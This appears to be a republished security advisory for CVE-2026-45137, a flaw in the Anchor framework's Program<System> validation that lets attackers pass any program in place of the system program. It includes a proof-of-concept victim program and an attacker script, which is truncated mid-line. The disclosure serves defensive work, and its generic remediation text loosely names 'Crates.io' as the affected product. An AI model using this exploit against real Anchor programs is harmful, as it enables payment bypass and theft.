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Vulnerabilities · 2026

CVE-2026-45137
Crates.io vulnerability

### Summary An logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. ### Details In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program. https://github.com/solana-foundation/anchor/blob/5ff3f96eeda91cc54b7fa525631eb8c1394fda04/lang/src/accounts/program.rs#L148-L163 ### PoC Build and deploy the following anchor program: ```rs /// victim.rs /// an anchor program that uses the system program in some way. use anchor_lang::prelude::*; use anchor_lang::prelude::program::invoke; use anchor_lang::prelude::instruction::Instruction; #[derive(Accounts)] pub struct Initialize<'info> { #[account(mut)] pub sender: Signer<'info>, #[account(mut)] pub recipient: SystemAccount<'info>, // the "System" part here should ensure that callers can only pass the system program. pub system_program: Program<'info, System>, } pub fn handler(ctx: Context<Initialize>, amount: u64) -> Result<()> { // this should be the system program id, but due to an issue in the validation logic, this could be any program id. msg!("System program: {:?}", ctx.accounts.system_program.key()); // construct a transfer instruction // note that not only raw instructions, but also any other instruction // builders that properly forward the passed in program id are vulnerable. let mut data = Vec::new(); data.extend_from_slice(&[2, 0, 0, 0]); // transfer discriminator data.extend_from_slice(&amount.to_le_bytes()); // amount let accounts = vec![ AccountMeta::new(ctx.accounts.sender.key(), true), AccountMeta::new(ctx.accounts.recipient.key(), false), ]; let ix = Instruction { program_id: ctx.accounts.system_program.key(), accounts, data, }; let account_infos = [ ctx.accounts.sender.to_account_info(), ctx.accounts.recipient.to_account_info(), ctx.accounts.system_program.to_account_info(), ]; // invoke the transfer instruction invoke(&ix, &account_infos)?; Ok(()) } ``` Run the following javascript code in the project after installing @coral-xyz/anchor and @solana/web3.js ```js /// attacker.js /// a script that exploits the vulnerability in the victim program, in this case it simply causes the transfer to never happen /// while the victim program thinks it has happened. import { Connection, Keypair, PublicKey, SystemProgram } from "@solana/web3.js"; import { AnchorProvider, Program, Wallet } from "@coral-xyz/anchor"; import BN from "bn.js"; import fs from "fs"; import idl from "./victim_idl.json" with { type: "json" }; // the idl of the victim program, generated by `anchor build` const keypair = Keypair.generate(); const receiver = Keypair.generate(); const connection = new Connection("http://localhost:8899", "confirmed"); const provider = new AnchorProvider(connection, new Wallet(keypair), {}); async function airdrop(publicKey, amount) { const tx = await connection.requestAirdrop(publicKey, amount); await connection.confirmTransaction(tx); console.log(`Airdropped ${amount} lamports to ${publicKey.toBase58()}`); } async function printBalance(publicKey) { const balance = await connection.getBalance(publicKey); console.log(`Balance of ${publicKey.toBase58()}:

Affected products

Crates.io. The exact versions are in the references.

What to do now

  • Check your exposureFind out whether Crates.io runs anywhere in your environment, including systems of suppliers.
  • UpdateInstall the version in which the vendor fixed the vulnerability. The references lead to the advisory.
  • Limit access until thenIf you cannot update at once, take the system off the internet or restrict who can reach it.

References

Data: CVE list and the NVD. This product uses data from the NVD API but is not endorsed or certified by the NVD.